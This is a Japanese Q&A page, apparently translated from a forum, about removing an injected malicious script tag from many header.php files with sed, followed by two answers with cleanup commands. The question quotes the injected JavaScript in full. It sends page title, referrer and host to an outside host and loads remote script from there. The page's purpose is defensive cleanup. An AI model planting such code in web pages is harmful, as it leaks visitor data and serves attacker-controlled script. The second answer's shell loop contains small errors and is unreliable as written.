sedを使用してテキストファイルからスクリプトタグを削除する方法

sedを使用してテキストファイルからスクリプトタグを削除する方法

悪意のあるスクリプトタグを含むheader.phpファイルがたくさんあります(尋ねないでください)。空白に置き換えるために、あまりエレガントなシェルスクリプトを作成しました。最初はheader.phpでペイロードを取り除こうとしましたが、ファイルがソートされたリストではないため、不可能に見えました。以下は私のコードです。

echo 'Find all header.php files'
find -name header.php -print0 > tempheader
echo 'Remove malware script from headers'
cat tempheader | xargs -0 sed -i 's/\<script\>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http:\/\/someplacedodgy.kr\/js\/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "\&se_referrer=" + se_referrer + "\&source=" + host; var f_url = base + "?c_utt=snt2014\&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null \&\& default_keyword !== '' \&\& se_referrer !== null \&\& se_referrer !== ''){document.write('\<script type="text\/javascript" src="' + f_url + '"\>' + '\<' + '\/script\>');}\<\/script\>/ /g'

問題は、このコードがエラー:sed: -e expression #1, char 578: unterminateds'command`のために実行されないことです。私の仮説は、この問題を引き起こすエスケープされていない文字があるということです。 <>と{}の両方をエスケープしてみましたが、役に立たないようです(上記の<>はまだエスケープされています)。

文字列を含むファイルをsedに入力する方法がある場合は、sed -i 's/$payload/ /g'まだ把握していないようです。

答え1

答えが示すように、ペイロード自体が1行にある場合は、変更されたファイルのバックアップを作成しながら、次のことが行われます。

find -name header.php -exec sed -i.bak '/someplacedodgy\.kr\/js\/jquery.min.php/d' {} \; -ls

"someplacedodgy"文字列がペイロードラインに対して一意であることを確認してください。

バックアップをスキップするには、-i.bakから.bakを省略してください。

答え2

文字列自体が1行に含まれているので、この問題に対するより簡単な解決策を見つけました。

while read HEADER 
do cat $HEADER | grep -vw "somewheredodgy.kr/js/jquery.min.php"; > modifiedheader 
cp modifiedheader $HEADER 
done < tempheader

関連情報